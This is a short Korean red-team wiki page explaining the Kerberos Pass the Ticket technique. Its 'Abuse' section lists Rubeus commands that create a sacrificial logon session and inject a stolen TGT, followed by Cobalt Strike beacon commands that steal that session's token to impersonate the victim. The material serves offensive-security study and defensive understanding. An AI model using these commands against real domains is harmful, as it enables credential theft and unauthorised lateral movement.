Pass the Ticket

TGT는 사용자가 커버로스 사전 인증을 통과한 것을 나타내는 티켓입니다. 이 티켓을 통해 다른 서비스에 접근할 수 있습니다. Pass the Ticket은 공격자가 다른 사용자의 TGT를 탈취하는데 성공했을 때, 해당 사용자의 평문 패스워드/NTLN 해시를 모르더라도 티켓만 가지고 클라이언트 가장이 가능한 방법입니다.

impacket과 같이 UNIX 환경에서 공격하는 것과 다르게, Windows 세션에서 공격을 수행한다면 이미 사용자 세션에는 TGT가 포함되어 있는데, 이미 TGT가 있는 세션에 다른 TGT를 사용하여 서비스 티켓을 요청하는 방법은 커버로스 오류를 유발합니다.

Windows 인증 및 프로세스 실행을 관리하는 함수 중 CreateProcessWithLogonW API는 실제 존재하지 않는 자격 증명을 전달해도 가상의 로그인 세션을 생성해주도록 되어 있습니다. 이를 통해 이미 TGT가 발급된 세션에서 가상 유저의 세션을 생성한 뒤, 해당 세션에 악용하려는 TGT를 기입합니다.

Abuse

Cobalt Strike
# 익명 로그인 세션 생성
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DC01 /username:Mick3y /password:FakePass

# 익명 로그인 세션에 Base64 Encoded Ticket 삽입
.\Rubeus.exe ptt /luid:0x19e0c /ticket:<Base64 Encoded Ticket>

# 삽입한 티켓이 있는 로그인 세션의 토큰을 사용함에 따라 클라이언트 가장
beacon> token-store steal 1590

# 세션 정리
rev2self
kill 1590

Last updated

Was this helpful?